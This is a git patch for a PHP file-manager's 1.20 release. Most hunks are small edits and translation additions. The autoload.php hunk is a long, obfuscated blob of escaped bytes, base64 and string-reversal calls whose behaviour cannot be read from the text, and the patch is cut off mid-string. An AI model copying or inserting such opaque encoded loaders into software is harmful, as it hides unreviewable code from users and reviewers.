From 2ea8f092bb0e212c0368075ed437bef33c5b0478 Mon Sep 17 00:00:00 2001 From: warlee <824691958@qq.com> Date: Wed, 26 May 2021 22:21:08 +0800 Subject: [PATCH] 1.20 release --- app/api/KodSSO.class.php | 4 ++-- app/autoload.php | 2 +- app/controller/admin/log.class.php | 6 +++--- app/controller/user/setting.class.php | 2 +- config/i18n/ar/index.php | 4 ++++ config/i18n/bn/index.php | 4 ++++ config/i18n/de/index.php | 4 ++++ config/i18n/en/index.php | 4 ++++ config/i18n/es/index.php | 4 ++++ config/i18n/fr/index.php | 4 ++++ config/i18n/hi/index.php | 4 ++++ config/i18n/id/index.php | 4 ++++ config/i18n/it/index.php | 4 ++++ config/i18n/ja/index.php | 4 ++++ config/i18n/ko/index.php | 4 ++++ config/i18n/pl/index.php | 4 ++++ config/i18n/pt/index.php | 4 ++++ config/i18n/ru/index.php | 4 ++++ config/i18n/ta/index.php | 4 ++++ config/i18n/th/index.php | 4 ++++ config/i18n/tr/index.php | 4 ++++ config/i18n/uk/index.php | 4 ++++ config/i18n/vi/index.php | 4 ++++ config/i18n/zh-CN/index.php | 4 ++++ config/i18n/zh-TW/index.php | 4 ++++ config/setting.php | 1 + config/version.php | 2 +- static/app/dist/api.js | 4 ++-- static/app/dist/lib.js | 4 ++-- static/app/dist/main.js | 4 ++-- static/app/dist/vendor.js | 4 ++-- static/app/vender/markdown/markdown-it.min.js | 4 +++- static/style/dist/main.css | 4 ++-- static/style/lib/main.css | 2 +- 34 files changed, 107 insertions(+), 20 deletions(-) diff --git a/app/api/KodSSO.class.php b/app/api/KodSSO.class.php index 33bc72f8..9edf3ca5 100644 --- a/app/api/KodSSO.class.php +++ b/app/api/KodSSO.class.php @@ -77,7 +77,7 @@ private static function checkToken($appName,$host,$token){ private static function phpBin(){ if(defined('PHP_BINARY') && @file_exists(PHP_BINARY)){ $php = str_replace('-fpm','',PHP_BINARY); - if(file_exists($php)) return $php; + if(@file_exists($php)) return $php; } if(!defined('PHP_BINDIR')) return false; // PHP_BINDIR,PHP_BINARY $includePath = get_include_path();// php_ini_loaded_file();//php.ini path; @@ -91,7 +91,7 @@ private static function phpBin(){ dirname(dirname(dirname($includePath))).'/bin/', ); foreach ($checkPath as $path) { - if(file_exists($path.$binFile)) return $path.$binFile; + if(@file_exists($path.$binFile)) return $path.$binFile; } return 'php'; } diff --git a/app/autoload.php b/app/autoload.php index 5dcf0838..94d1dd69 100644 --- a/app/autoload.php +++ b/app/autoload.php @@ -1,2 +1,2 @@ Cp ry=˵:LS|').strrev('WbvX/ݞhWO \\[P{pk]\\V{;5')."\325\255\53\156\152\212\75\71\63\272\143\247\47\46\17\332\162\320\245\256\127\237\222\56\277\273\166\354\366\17\146\234\232\170\363\245\326\207\267\234\374\374\302\223\217\272\355\157\7\77\370\362\41\123\377\70".base64_decode('7pbzfvVi6JdbXj9w9sr4Tv+4bfFp/9h7XduTu355e/1+xX8+fcrxP95W3HVdsGPnYxpeO2HRWzc=')."\x7d\x33\x70\x75\xfb\x11\x8f\x6e\x38\xe8\xc9\x60\x78\x68\x93\x72\xed\xc1\x47\x1e\xb0\xac\xe2\xd8\x43\x7e\x1f\xb8\xeb\x8b\xcf\x36\xed\x77\xf1\x67\x15\x4f\x1d\xa5\x3e\x77\xf9\x66\xf3\xa9\xeb\xdf\xbf\xf4\xcc\x3\xf7\x50\x7f\xb1"."\351\316\303\357\274\372\214\27\217\375\303\63\217\170\66\56\334\364\372\252\66\317\267\77\337\353\365\252\211\316\35\313\57\170\351\262\321\315\247\136\272\346\232\275\376\324\260\141\345\36\73\132\356\136\272\107"."\175\375\56\333\75\37\357\376\336\277\17\330\365\335\71\327\375\145\374\225\303\335\327\274\274\361\351\155\322\25\173\156\177\364\117\153\336\376\152\361\103\267\75\371\322\76\227\136\162\245\342\130\164\353\347\216"."\x87\x7d\xca\xde\x73\xee\x3b\xf7\xe5\xaf\x7e\xaf\xfe\x68\xe6\xdd\x27\xf7\x9e\x7a\x72\xf3\x9d\xbf\xc\xbe\xfe\xee\xc9\xf\xdf\x7b\xff\x1d\x1f\x9e\x18\x78\x31\xba\x76\xe9\xb3\xcf\xfd\x79\x97\x9d\x76\xc2\x1d\xdd\x82\x7f\xa4\x9c"."\146\112\312\270\152\230\6\6\304\265\134\122\115\341\260\232\303\277\156\374\143\214\146\124\123\301\341\150\137\40\34\15\15\364\367\373\202\341\50\51\121\114\317\152\11\22\312\313\272\234\45\205\347\25\335\0".base64_decode('nxKLi+a1vJKzQDggIZtyTDZISd6OqNfX3xNYEQ2v6PcRjFh0tKDoEziGgiFT1s2wmlUYxpjO6tU=')."\xe1\x5b\xec\xef\x93\xc2\x41\x4f\x5f\xc8\xd3\x19\xf6\x7\xfa\x30\xb8\x33\xd0\xdb\xeb\xf\x97\xc2\x83\x81\x9e\x9e\xe\x4f\xe7\x92\xd2\x94\xfe\xa0\x67\x71\xaf\x47\x2\xf5\xcb\x28\x51\x35\x97\xd4\xaa\xa4\x55\x38\x65\x95\x54\x8d"."\x3\x5d\xaa\x92\x49\xe0\x60\x4e\xa6\xd5\x31\x27\xf2\x24\x14\x66\x21\x30\x6\xb9\x42\x26\x83\x23\x7d\x2c\x44\xea\xaf\x24\xe5\x42\x86\xf4\x99\x57\x8c\xe4\x75\x35\x2b\xd3\xa6\x2f\x51\x26\x18\x14\x7\xe4\x82\xa9\xa9\xb9\x38\x8e"."\xf8\xc6\x4d\x5d\xe6\x70\x50\xe3\xb8\xae\x64\x95\x1c\x29\x2a\xe4\xeb\xf1\x75\x86\x25\x58\x4d\xa9\x2b\x18\xe8\x95\xc8\x50\x64\x65\xc3\x54\x74\x69\xb0\xdb\x17\xf4\x49\xb0\xea\xad\x95\xa8\xc5\x95\x12\xce\x37\xd0\x7\x3a\x44\xf2"."\364\364\110\323\225\140\52\331\74\55\6\347\51\123\130\40\350\365\5\245\216\25\22\357\247\270\226\315\152\71\27\50\5\214\247\51\124\325\27\14\342\200\203\120\160\217\37\16\35\211\4\272\272\102\76\26"."\43\215\133\332\3\152\322\100\250\324\22\113\44\63\146\264\50\147\12\224\130\107\360\157\45\371\41\277\232\101\10\170\124\315\251\5\102\254\244\10\115\143\63\207\4\12\24\133\241\220\54\310\246\221\71\5"."\46\130\21\7\133\333\360\357\2\202\24\213\302\64\105\67\243\112\56\256\45\324\34\231\206\355\144\312\21\302\223\315\264\127\127\1\36\51\120\163\305\265\374\104\257\126\44\155\110\252\31\245\207\315\262\244"."\226\111\50\72\217\347\101\166\61\205\64\106\235\24\162\367\25\262\42\12\213\306\323\152\46\241\323\311\371\175\230\165\244\130\305\64\101\63\14\132\323\201\174\106\223\23\41\105\27\152\337\5\212\11\24\114"."\21\130\100\150\135\232\236\365\2\6\100\172\7\220\275\72\120\46\141\204\22\176\102\350\24\134\2\35\274\316\164\41\67\22\142\115\164\21\256\126\65\164\202\363\333\341\241\105\340\237\152\302\342\42\244\336"."\x69\x25\x93\x89\x2a\xe3\xa\x99\x3d\xd9\x44\x93\x41\x9b\xe6\x36\x62\x6a\xce\xd\x20\x38\xea\xf\x44\xd3\xb2\x91\xee\x4d\x34\x45\x51\x2e\xca\x39\x13\xca\xb8\x2b\x9f\xce\x93\x9\xce\xe6\x34\x21\x6b\x38\xa\x7d\x9a\xe9\x13\x18"."\157\106\213\313\4\51\155\232\371\220\222\113\300\256\41\155\323\306\162\250\353\362\212\102\232\345\165\110\11\251\127\132\41\165\267\250\55\224\316\0\325\44\47\70\357\113\233\131\126\144\226\66\215\301\14\6".strrev('85˜ ZRdWS'."\r".':b-U6\\j3 &`n2Tu 4')."\235\107\235\132\316\4\23\331\31\326\345\234\221\124\164\247\217\20\172\213\4\72\225\361\62\212\346\125\215\274\146\250\360\63\55\222\154\232\162\74\15\371\0\57\276\365\173\360\325\134\106\315\51\45\270\236"."\170\134\61\14\47\314\242\153\31\247\47\223\321\306\234\1\135\115\251\40\117\215\255\232\200\107\265\110\224\201\346\125\135\61\150\124\132\334\33\46\310\240\126\212\263\137\227\123\131\271\105\312\27\142\240\147"."\310\114\55\3\303\330\344\353\55\122\34\106\35\122\266\140\230\116\135\1\214\110\5\113\36\31\74\177\322\331\13\307\123\125\22\316\20\340\327\4\334\120\333\50\1\322\221\150\32\206\166\207\303\375\121\177"."\x17\x58\x96\xfb\x7c\xd1\x5e\x4f\xb8\xb3\x9b\x54\xdb\x94\x53\xb4\xce\x3d\x80\xb\xb3\x22\x29\x70\xb9\x13\x4c\x3e\x48\x68\x7d\xa0\x8f\x38\xb0\x5f\x1b\x53\x74\xf0\xe1\x8e\x89\x16\x69\x44\x4b\xc4\xb4\x71\x17\x4d\x82\xc8\x70\x32"."\121\144\330\243\171\323\31\224\163\51\330\77\261\11\123\41\344\150\24\123\164\171\11\56\363\5\243\241\100\127\170\320\23\44\113\167\16\164\371\70\55\24\26\222\161\6\225\4\350\344\270\111\213\226\363\260".strrev(';T$5U1}uPRɥ*QE$'."\0".'iׁvǭ4&*i4p(')."\x35\xd5\x43\x11\xaf\xab\x66\xb8\xdd\xad\xf2\x3c\xee\x3a\x57\x9d\x54\x5f\xdb\x2c\xf5\x3\x41\x43\x95\x33\x12\xa1\x97\x12\x8c\x5a\x29\xb0\xc4\x4a\x51\x3d\x4a\x2e\x65\xa6\x89\xec\x15\xf4\x2d\x1d\xf0\x85\xc2\xd1\x5e\x5f\xb8\x3b"."\xe0\x25\xb9\x7d\x1e\x12\xea\xd1\xf0\x4\xa3\xb5\x1d\xc2\x3f\xc3\x64\x1c\xc0\xd2\x9f\x52\xe2\x5a\x46\xd3\xe5\xc\x64\x1d\x94\x6a\x14\x3a\x95\x53\x6a\x92\xf3\x69\x3f\x10\x50\x48\xa7\x61\x66\xc5\x23\x21\x35\x9b\xa7\x6c\xc6\x4c"."\x17\xb2\x31\x21\xe8\xe6\x25\x90\x11\x5\xc3\xc1\x98\x8b\xc6\xd6\x14\x4d\x27\xa1\x16\x37\xc9\x32\xbb\xbe\x8b\xf2\x47\x77\xa8\x1\xfc\xcf\x99\x61\x42\xcb\xca\x54\xb2\x44\xd3\x4f\x49\xe0\xf9\x87\x41\x35\x96\x94\x6e\x45\xe6\x8b"."\224\251\233\32\204\352\26\224\136\305\114\153\144\32\244\24\132\245\2\253\33\255\145\102\311\50\264\227\322\12\135\35\200\270\124\144\235\227\327\225\244\112\150\22\310\107\0\316\171\251\152\4\101\46\50\257"."\320\370\40\24\53\71\300\344\154\127\66\70\353\206\21\141\245\355\32\350\351\211\166\6\372\302\100\264\304\220\301\240\77\354\243\24\341\361\106\75\235\375\154\325\341\303\104\20\340\44\53\145\122\30\122\254"."\27\270\67\147\363\234\161\322\265\11\62\106\34\6\34\55\257\345\14\305\31\47\245\45\70\13\305\30\13\154\374\263\44\7\27\150\307\235\162\166\322\231\125\114\331\311\252\156\135\245\244\260\270\74\373\311"."\x10\x70\x96\x97\x1\xcb\x21\xd8\x2f\xd0\x25\xb1\x3f\x10\x22\x19\xda\x21\x14\x48\x17\x31\x45\x27\xf5\xe8\x1f\x20\x49\x59\x61\xf8\x17\xfb\x8\x70\x6\x5d\xe1\x64\x22\x89\x78\x6\x43\x94\x5d\x15\x0\xbe\xae\x4e\xca\xbc\x8d\xed".base64_decode('tD6k7PFshgtMUdUyflEtthpwKEB0crlWO/lYhbv9fUuivQGvryfq7wMsMFwKH+j3eujgi/COQLg=').base64_decode('2wIdAHximafHb0f3LfeHwqGySQA24LOlgC1Uf9DX5V/Ool1+X483FO30dHZznD5PL4lEk3ATY7g=')."\xad\xf8\x51\xc0\xcd\x43\x6c\x2b\x14\x2d\xc2\x6d\x1d\xed\xcc\xa8\x65\xdf\x11\xa5\x12\x75\x94\xd3\x9\x58\x82\x14\x42\x9b\xa4\xb9\x70\x33\x89\x5a\x42\x64\xdc\xb8\x56\xa0\xd4\xca\xe4\xae\x2c\x65\x10\x59\x99\xcc\x50\x99\x2e\x2f"."\x55\xf8\xa7\x5a\xf2\x84\x24\x33\x1f\x65\xac\x20\x36\xc1\x82\xa8\x19\x34\xe\x4\x2d\xf2\x7d\x89\x30\xdf\x92\x1a\x44\x21\x4e\x87\x92\xd4\x74\xe5\xfb\x0\x9e\xa4\xc9\x8\xc3\x16\x7\xf3\x86\xa7\x81\x11\xf0\xa0\x5d\x2b\xa0\x4"."\x34\x22\x51\x3a\x17\xd\x20\xef\x7b\x68\x75\x92\x7c\xc7\x18\xd\x80\xad\xb5\x7\xee\x37\xa3\x83\xc1\x40\xdf\x62\x92\x61\x2c\xad\xd0\xa\xf8\x49\xf7\x57\x51\x91\x84\x6c\x3b\x4d\xce\x92\x80\x3c\x21\x93\xb9\x94\xe5\x9d\xbe\x5a"."\xa3\x5d\x39\x85\x7f\x8e\xc2\x3f\x40\x4\x23\x1f\x57\x72\xb4\xd7\x63\x90\x31\x33\xc6\x41\xf7\x14\x60\xb6\x50\xa6\xaa\x15\xd8\xd7\x62\x9a\x96\xa1\xf3\x18\xac\xb5\x8c\x5f\xb0\xd\xeb\x6a\x83\x12\xc9\x38\x65\x4e\x73\xe8\xaa\x45"."\x16\x87\x70\x60\x89\xaf\x2f\x4a\x29\xb\xc7\x4\x6a\xc4\x0\xb0\x5\xc\x4\x49\x87\x98\xda\x8\xdd\x90\xe0\xc4\xa0\x2f\x44\xb9\x80\xae\x8c\x16\x54\xda\x5d\x6e\xd7\x1c\x42\xc5\xa\x58\x7f\xc8\xe7\xdd\x2b\x23\x63\x73\xaa\x86".base64_decode('nHNcwyBQXbMIR0ks4rJEZ5H8BZ3lhiJIldFe3RJxR9xV7S1DHuek7Jysdc53Ds+JuKrnEMDwmno=')."\107\343\132\210\0\20\333\147\16\203\237\326\110\373\354\210\363\250\143\127\55\32\212\14\127\266\314\71\62\342\232\31\31\33\256\251\156\247\337\211\27\164\260\331\212\117\260\252\46\346\124\201\52\1\321\204"."\xa1\xe4\x10\x4b\x14\x10\x68\xc2\xa4\x9a\xe7\xd0\x35\xcd\x6b\x29\x1c\x8c\xa1\x92\xe2\x39\x86\x9c\x91\x39\xc3\xed\x42\x3e\x1\x64\xff\x16\x10\x5d\x0\x7f\x4e\x33\x3c\x8f\xf3\x18\xd8\x32\x96\x15\xce\x7b\x42\x1f\x85\x5c\x9c\x73"."\127\70\57\142\162\234\360\1\65\225\143\123\10\54\350\154\223\153\225\175\327\314\306\277\153\351\100\246\24\272\54\303\363\51\235\120\147\41\247\216\322\255\173\116\31\45\1\315\244\364\35\123\314\61\205\222"."\7\200\133\342\200\70\350\206\13\44\11\261\14\22\322\310\27\370\246\107\101\73\0\322\212\174\24\212\135\143\54\226\120\162\144\234\366\40\330\106\134\316\53\41\241\205\321\150\330\323\321\343\213\122\16\103"."\x38\x31\x8d\x23\xae\xd8\xc1\xe\xbb\x40\xd3\x38\x47\x65\xbb\x47\x2e\xe\x1b\xa3\x19\x9\x31\x3\x49\xd1\x75\x4d\x6f\x41\x7\x79\x46\x21\xf\x65\x31\xb0\xf7\x31\x41\x7f\x4a\x60\x6b\x2c\xb5\xb6\x49\xb8\x9b\x9\x97\x88\x8a\x9d"."\236\227\251\64\1\367\245\114\102\160\127\105\42\205\41\45\61\74\4\10\131\166\46\207\327\64\254\255\246\22\260\73\2\376\243\21\314\277\110\215\363\174\374\14\40\153\305\115\266\340\226\234\67\105\31\7"."\204\125\140\307\6\232\316\326\131\10\347\122\253\251\231\162\206\241\301\264\60\204\120\156\103\327\152\262\273\306\3\330\303\231\20\134\235\205\323\70\304\41\373\330\121\23\73\101\20\16\202\0\314\41\104\361"."\277\255\25\224\115\347\300\104\350\344\213\224\337\353\44\203\350\131\356\364\23\1\236\5\124\52\152\312\140\72\233\24\152\150\5\75\256\60\34\213\220\141\312\72\130\263\270\144\7\145\60\341\270\20\324\334".strrev('{p8O#:lD\\ljuIu,D?'."\0".'ub\\oi'."\0".'uMpO').base64_decode('knHQ2jtooxy0BQ603/CS2gwA+iC1QUHAJNIOOBxwbGkpMEi7gQnVDi5wO1K6Vsj30y8JMVwZAuA=').base64_decode('NWWAoKaZDroBYoFexoFgdXhoGR9wXnu2fJIm4Li9DhgK07vkojjAZQc7ZyUMfurJT+e4uGTfiNg=')."\17\171\170\47\362\112\204\345\124\110\370\274\51\247\350\267\61\70\250\304\47\342\174\47\343\25\266\106\326\30\33\147\104\164\345\50\247\374\70\63\152\140\204\65\143\217\75\50\31\163\242\41\264\142\241\254"."\151\111\231\67\57\220\347\313\13\234\375\41\300\364\204\371\115\101\1\316\116\12\144\71\224\215\70\25\134\306\350\45\203\102\141\102\375\151\353\55\345\302\50\237\206\264\211\22\54\300\41\60\150\70\24\116"."\x3e\x9e\x42\x94\xfc\xa8\x5a\x14\xf7\x6b\x34\xcb\xb6\x11\xac\xa3\x6d\x9c\x7\xf6\x7b\xbf\x9a\x9b\x50\x73\xe2\x46\x9d\x43\x39\x83\xe3\x14\x0\x69\x99\xc7\x70\x1f\x4f\x17\xc6\x8c\x84\x1f\x4\x38\xc8\x1\x81\x3\x6c\x12\x47\x4".strrev('<"%*<(ʵ /yZiCkJ(>Q9t歒RwP07')."\x34\x30\xcc\x9\x76\xa6\x21\x4\xad\x85\xe2\xa8\x77\xba\x48\x37\xdb\xea\x95\x8b\x8a\xf3\x4f\x35\x7a\x40\x6f\x96\xb\xa3\x96\x86\xb5\xb2\x51\x24\x2\x48\x60\xf1\xa7\xe7\x5d\x54\x96\x8f\xda\xce\x14\x40\x54\x18\xa9\xa8\xe5\xf8"."\x1\x57\xc3\xc3\xf8\x1c\x90\x62\x32\x60\x4\x74\x17\x9c\x24\x8b\x21\x17\x13\x97\x1c\xbe\x1c\x41\xce\x89\xc3\x2\x52\xde\xce\xf0\x2c\x8c\xb9\xdc\x2a\x67\x67\xcd\x36\xa8\x2d\xca\x3f\x6a\xe1\x3b\x25\x4b\x11\x91\x44\x88\xe0\x59"."\113\250\76\1\266\210\56\35\163\66\27\220\65\310\105\215\243\126\130\313\370\364\135\143\114\30\246\222\45\234\160\255\255\167\114\260\227\211\311\272\113\7\65\342\25\345\374\237\110\32\5\6\30\266\143\340"."\342\173\64\52\370\102\372\367\45\124\23\102\40\67\323\350\11\25\107\24\170\72\203\11\5\242\56\161\225\214\101\106\35\41\271\34\263\55\230\345\70\271\253\6\361\134\27\137\150\304\145\112\274\22\202\150"."\274\345\360\212\11\207\204\313\324\54\273\163\102\100\227\141\152\171\236\42\104\161\262\220\304\13\25\260\130\347\243\32\202\25\40\201\204\1\336\205\10\227\344\105\342\62\46\156\127\6\140\270\104\126\344\321"."\165\112\44\270\171\360\270\6\0\105\20\234\256\41\172\134\130\216\43\343\302\175\105\176\111\212\213\202\37\166\341\5\312\45\47\22\1\172\226\46\206\113\121\305\243\203\362\5\241\173\153\126\224\20\53\217".base64_decode('7slk+CWYPT5tFjxXxUwiZNpsXUjipZcN5WBMgOuy0RCfcfyS0S7fWpnPf5K9SmYAH9Dyccgf02o=').base64_decode('TjHYyqQb5fjMf5JvLCKuVZARJRiyHPLmit0KyX86WoBpwgkS2DABgLiOsGMSzneEpRItO1HTsuw=')."\x7\x51\x19\xc2\x7c\xb0\xc\x31\x98\x7f\xb8\x45\x5d\xba\x96\xf5\x7\xc0\xfc\x2a\x4f\x74\x76\x3c\x85\x1e\x14\x21\xa6\x36\xce\xf6\x5f\x62\x26\x40\x24\x70\x15\x9a\xae\x4c\x9a\xcc\x8a\xe2\x4b\xd6\x95\xc7\xaf\x7f\xfb\xb6\xb7\x70"."\170\353\115\137\343\100\335\174\162\222\13\376\312\150\13\235\262\374\3\355\320\337\355\373\135\377\77\277\313\277\263\274\377\245\323\52\316\376\307\365\256\236\117\216\134\172\265\167\375\265\263\332\17\71\142\343"."\330\232\137\315\374\107\356\354\261\65\25\67\175\275\341\205\346\321\266\153\273\227\36\170\343\206\3\156\173\141\27\347\363\217\377\350\371\12\317\176\377\174\350\246\303\277\162\157\31\133\360\300\330\371\267\274"."\324\74\365\300\346\7\66\177\372\345\263\37\356\365\311\37\67\257\77\353\212\251\263\377\375\357\143\327\35\167\243\66\177\52\161\105\157\337\5\101\177\365\173\243\27\205\272\232\17\256\170\340\324\33\216\374"."\121\72\171\332\336\357\74\362\227\206\15\147\25\26\76\243\154\350\74\63\264\313\337\102\261\363\16\376\374\253\303\46\126\272\315\257\136\333\374\310\271\167\67\156\134\362\257\357\116\172\151\135\335\276\63\367"."\x7e\xfd\x9e\x43\xfe\xef\xb5\xc1\x33\x9f\x3f\x65\xe4\x9e\x3d\x2e\xea\xfe\xcd\xe2\x99\xa3\x6f\xfe\x3c\xdf\x74\xe6\x31\x8f\xde\xb6\xf9\xf\x9b\x4e\xdb\xab\xa6\x79\xf5\x2c\xb3\xba\xfb\xa0\xe0\x3b\x7b\xce\x7f\xf1\x9d\xd3\xbf\x39"._kodDe('MOBpNVUmGmQnQ8G4VanDiI2fh9tmvP8MhZWswN/UkWSrTbLMPH1l5NlmyMyMtWfmsg054dwjwB0Z')."\xd9\xbf\xd9\x31\xf8\xbb\x4f\xcf\x48\x4d\x1e\xba\x63\xe5\xc4\x81\x87\x7e\x79\xf8\x1e\xf\x9f\xdf\x76\xf8\x4d\x3f\xba\xfa\xe2\x9b\x8e\x1e\x9e\x7b\xb8\xf2\xea\x2d\xe9\x7f\xdf\x7a\xcf\xb7\x1f\x57\x1e\xfa\xb7\xdd\x46\x1e\xde\xb5".strrev('cv83ud$QFsLpTF=\\V2lIG&ci&F4')."\x1a\xc9\x9c\x4e\x46\xa1\x98\x89\x9b\xe3\x9\x92\xa7\xb1\x9e\xd0\x58\x73\x1d\xe9\x35\x75\x22\x36\x92\xa6\x1b\xc3\x82\x19\x8b\x67\x8b\xa4\xa\xcd\xa4\x95\x59\x45\x1d\x4b\x8f\x26\xe8\xdc\x9f\x47\x53\xeb\x29\x29\x91\xfa\xcf\x6f"."\xa4\x83\xd5\x44\xca\x6e\xa8\x27\x13\x31\x97\x34\xf2\xa9\x22\x21\x5a\x30\x45\x34\x83\x2a\x66\x3\x7a\x53\x13\xf1\x31\x3a\x3f\x48\xc6\xf9\xb5\x94\x3d\x50\x3a\xad\xa7\x5f\xa9\x9f\x47\xbe\x2b\xe7\xb2\x99\x49\x8d\x5c\x55\x27\x52".base64_decode('GYNFmui0n9tIAzR3YwOpfjoZK6RyKiUqyi/ohCtkR+kB+VjWGMmliYJfZiRtKKvJjJrQR40i1WE=').base64_decode('kyfiY6tjdPjphyeVwlh+lDAEXc6q6RGCP7+eTCYjVRjPxScpMZCGz6WzJDOqJ3KThHBWZ4wxJU4=')."\352\222\213\251\305\44\255\345\334\171\244\353\342\140\162\352\11\322\325\105\43\51\217\321\23\360\134\141\42\243\46\25\72\13\11\376\310\152\271\120\314\223\317\347\314\330\150\222\262\121\143\114\115\312\112\201".base64_decode('dhzBr6M1jBVHE6vpmWVUThJVVX9OhBDihHcYKcWMEkU2QqYdnpC/M9rvofpXcj7vhpoNUEGM6zA=').base64_decode('xtNKfCQqxzTdpAdgBahWR1q1gs6ADhksPHQumrJJJwNDoGYBcVGFdERRqK4k1cbkt91GAWkw03Q=')."\176\154\2\317\233\204\133\161\30\15\211\270\361\234\51\44\203\230\45\25\152\57\302\323\35\36\243\327\20\41\123\323\231\236\0\126\347\161\301\32\272\254\15\252\255\263\140\44\142\226\164\6\245\147\102\366"."\x94\xa4\x1d\x1e\x43\x5d\x17\x15\x23\x2e\xda\x1d\x31\xa1\x5b\xf1\xb1\xbf\x29\x1b\x23\x2e\x11\xec\x14\x53\xd5\x1c\x28\x39\x93\x71\x59\xed\x89\xa2\xe8\x3f\xd2\x5b\xd8\x5a\xc5\x50\x46\xb\xa\x53\xb5\x86\xd6\x27\x74\x98\xa2\x9c".base64_decode('cngL+SWtAON9LHSFddAEZbh8QmPQhGExhKKsbgJGhbCtS1y8ZlUwWF2ux4Vakc5ww85wowJ5O20=')."\303\44\326\72\305\216\312\371\271\55\251\3\257\0\271\26\51\351\53\64\272\126\2\264\214\273\225\164\311\1\52\262\6\162\110\370\203\16\11\135\124\112\126\113\25\277\127\142\67\272\342\350\213\225\324\225"."\x7c\x46\x8e\xb3\xa\xe6\x27\xa4\xa4\xc\xb2\x26\x5a\xa4\x24\xa0\x77\x89\xea\x55\x4b\xa6\x46\xc3\x62\xd5\xc4\x1b\x53\x5b\x63\x2c\xf3\xc7\xde\x1c\x4b\x22\xe8\xf0\x2\xb3\xf3\x60\xd7\x35\xe2\xc9\x2e\xba\x38\xe6\x75\xc6\x51\x76"."\35\24\2\45\261\13\157\135\111\250\6\135\5\263\10\223\52\322\242\353\36\246\115\30\317\50\262\156\271\152\132\330\16\70\30\64\367\63\27\264\23\343\43\162\207\26\25\276\113\302\2\267\23\240\31\373".strrev('G3@KAk^RI#G~BTJ9 \'+diIX`o.S')."\x4d\x18\x48\x31\x8a\xd0\xfc\x91\x64\x38\x4\x5b\xa3\x20\xef\x4d\x98\x1d\x75\xee\xf7\x64\x35\xc5\xa6\xe7\x1\xd7\xce\x31\x3d\x27\x23\x23\xd3\xeb\x30\x3\xb0\x72\x35\xa7\xb0\x71\x28\x18\xa2\x5a\xa8\xc2\x69\x18\xea\xf\x46\xe3"."\x40\xf4\x50\xd8\x8\x46\x13\x2a\x41\xed\xf1\x77\x44\xbd\xfe\xa0\xb0\x5c\xe5\xb\xf6\xe5\x4a\x34\xd7\xf4\xf4\xfb\xa3\xa1\x50\x40\x58\xbc\x5a\x4\x7e\x1\xd5\xf5\xf9\x65\x2a\x8c\x71\xb5\x7d\x78\x9d\x20\x5e\xb4\x1a\xc6\x98\xa6"."\223\116\205\346\164\120\3\63\44\21\43\36\60\316\235\335\236\40\323\262\154\162\325\272\352\70\56\370\140\24\52\233\266\122\243\237\120\330\23\54\143\132\211\115\56\311\40\20\63\113\222\241\73\60\50\165".base64_decode('BnoGevtC2JYQw/sCQjrSpbMki2BSrK+/x9Ppk/x94QBVkmW6wkg9OsTitOm6oTBTSpIfR0QVbrE=')."\x44\x56\x12\xa1\xdc\x21\x47\x65\xa4\x22\x52\x13\xa9\x8a\x54\xaf\x72\x45\x8c\x61\x32\xc1\x56\x89\x23\x42\xb8\x79\xbf\x97\xb4\xa8\x85\x85\xd8\x12\xd0\x1b\xa\x2d\x25\x6\x2\x81\xa0\xa7\xb3\x87\xd6\x2\xc8\x27\x24\x18\xe8\xf4"._kodDe('K7PW5unsconRqaZlUsnuWuh1dVCp1W9SqebPcNHxWpfoqvpx0em5klLgqC7vkKn1ZO2c4lLqq/qw').base64_decode('H9p+/o1bb79w28b7t198Mk54/6Zfbj39RlYx6f3zfr3trOu2XbBp25m3b91y3tZfnbj1vvscIPc=')."\373\247\234\271\375\301\333\267\235\266\161\333\65\307\157\273\173\303\266\113\317\334\172\372\125\133\57\272\161\373\131\167\154\275\372\244\255\353\316\374\353\35\27\34\151\247\35\34\37\242\243\100\156\313\335\53".strrev('kiʆ"Vnz٦L]}]N[A jꂭ5j1MF#').base64_decode('MUWGXqiUUBmvL9QZ9Hf4iEInG6jZSLGQXMIDaCi4jIWZjUeJ4bBURQ2HqyVLQ2RXXMsUsjlUWak=')."\2\52\265\124\70\40\273\105\342\203\124\1\227\13\0\120\342\140\266\125\101\23\103\244\53\127\271\242\322\121\353\250\253\226\210\125\61\316\101\254\210\245\12\142\101\314\362\131\76\342\210\131\142\165\216\332".base64_decode('aqkiP1JB6sX7FdQ+ijENSXZUkQqL1eW4gEUZpi6rgGdJcQcDsfzg12IZHHfxHHicAIYdJnn6vFY=').base64_decode('TGxQ3F8pybkESMH9Kw5zZbUUIyqzZRJRNktntFo6o2oOYRH9i9l4Yy1XCZtI4GrJBh0oAkVDBaE=').strrev(';pC&ZP6W{LG.QHgn'."\r".'L:Ix&QK'."\0".'(x')."\x71\x68\xec\xe1\xb\x77\x76\x63\x2a\xf\x9\x64\x9e\x88\xcd\xb6\x10\x2a\xef\x4e\xc9\x42\x22\x19\x6a\x8\x48\xf0\xf0\x74\x81\xc\x61\xf\x84\xe7\xef\xeb\xa\x4\x7b\xb1\x91\x43\xa8\xb3\xdb\xd7\xeb\x71\x11\xfe\x8d\x29\x1\xe3".base64_decode('Q6FCapUqIefDoEpL96MP0S4Lo6+CeRU1FcPEvZBPkcqQ0ZeQFZuMsrRWYutMUiRzaxAIhqOgAwg=').base64_decode('exa4bqWwUIj6ogVdL7KtFxLfBblFnsOFHiVBmGPprjIpx8Fei5ozx6jXBFApWJfOQF+Xn9qBeGM=').base64_decode('ljRv0A8NLEl1JVpClOsJgEh+LMHC3HgPJjBBAES4HABTBOcN8DOhPhbmsh6IQFU+zpMHvSzczUw=')."\xb8\x60\x42\x20\x28\x44\x3c\x41\x4f\x6f\x88\x45\x83\x83\x80\xc7\x43\x98\x60\xaa\xd4\xeb\x9\x85\x41\xab\xfa\x6\x7a\xf9\x3a\xd0\xe3\x59\x6\x48\x28\xc0\x25\x15\xca\xc3\xab\x5c\x35\xed\xd5\x11\x6c\x88\x81\x83\xf8\x67\x11\x8d"."\101\145\366\341\65\165\16\251\171\155\65\301\241\246\13\121\63\15\366\356\121\376\225\245\75\321\236\300\142\34\107\116\45\174\271\4\27\307\245\41\11\210\253\141\56\256\32\164\101\143\163\104\2\224\55\141".base64_decode('6y6pLzDo4R4KhAQMIQKxxP0WuFcORcYiLiBEGKu4fYW3Q6LiSSc8fiCK/yS3h66xdDFxkEA0o6U=').strrev(')>őD8u5&@ Qȩ='."\r".'ojlS'."\0".'i˿T`1').strrev('"$BxM/ʞ OOzxqo}S6V 